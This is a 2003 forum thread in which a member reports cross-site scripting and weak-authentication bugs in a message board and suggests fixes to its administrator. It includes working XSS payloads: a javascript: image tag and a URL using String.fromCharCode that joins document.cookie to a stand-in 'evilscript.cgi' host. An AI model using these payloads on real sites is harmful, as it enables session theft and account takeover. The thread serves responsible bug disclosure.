| Kiwibonga Advance Message Boards Register | Member List | Site main | Board main |
|
01/10/2003 04:38:16AM | Oh I see now!
EDIT: That's fixed now. |
| M_DCad 01/10/2003 04:24:20AM | The problem's with the way the "Mark this forum read" link blindly writes $id in the a href tag. The best solution's probably to make sure $id is a number before doing anything on forum.php, and remove any non-numeric characters from it before continuing. |
01/10/2003 04:14:20AM | I just made sure it would remove disabled3E, but that's about all I could find... |
| M_DCad 01/10/2003 03:36:37AM | Well, go to that URL, and you'll see the vulnurability.
However, try putting cookie.document in quotes, and you'll see that you can't use quotes in the javascript since they're escaped with backslahes when you try. But it's still possible to abuse this XSS problem by using String.fromCharCode: http://www.kiwibonga.com/gba/forum.php?id=%3E%3Cscript%3Ealert(String.fromCharCode(104,116,116,112,58,47,47,115,111,97,110,100,115,111,46,99,111,109,47,101,118,105,108,115,99,114,105,112,116,46,99,103,105,63)+%2B+document.cookie);%3C/script |
01/10/2003 03:21:56AM | Please explain |
| M_DCad 01/10/2003 02:56:19AM | |
01/10/2003 02:20:02AM | Well, I really like to let people use HTML, so I only want to filter "harmful" stuff...
Thanks for that, I'll look up some more stuff on MSDN... |
| M_DCad 01/10/2003 02:08:33AM | You still need to filter out things like "onerror=", "onload=", etc., since they automatically execute as javascript without the "javascript:" prefix required for img src's and etc. Sorry, my knowledge of Javascript isn't very extensive.
Of course, the best way would be to filter out HTML altogether (change < and > to < and >), and later change back only certain tags (like b, i, img, etc.) to their actual HTML versions. |
01/10/2003 01:50:13AM | Thanks for those, and I'd also like to ask you for more examples of javascript or scripting I could filter if you know more, since I have very limited JavaScript knowledge, I can understand it since it has quite basic syntax, but I really can't code any...
*adds some stuff to the stripjavascript() function* |
| M_DCad 01/09/2003 06:52:32AM | Bug 3: Cross-site Scripting Vulnurability
------------------------------------------ Problem: Although anything between <script> HTML tags is deleted by the forum software, it is still possible to inject potentially malicious javascript by using (for example) the following piece of code, which would execute in Internet Explorer. (Although Mozilla is unaffected by this code, it is possible to modify it in order to make it work on it and other browsers): <img src="javascript:alert(document.cookie)"> By creating a simple emailer CGI script on another server (such as on a free webspace provider like Tripod or Lycos) it is possible to silently steal users' MD5 password hashes which are stored in a cookie. MD5 is extremely weak as a form of encryption, and these hashes could then be cracked with ease. Or, because of the way this forum software requires no account authentication other than the stored cookie itself when changing one's account settings, it would be possible to take over another person's account. Solution: Have the forum change instances of the string "javascript:" to something else such as "xjavascript:". Bug 4: Weak User Authentication for Account Updating ---------------------------------------------------- Problem: This ties in directly with the last bug. The only form of authentication required to change an account's settings is a cookie with the member's username and MD5 password hash. Solution: When a user tries to update his account, require his password to be re-entered. |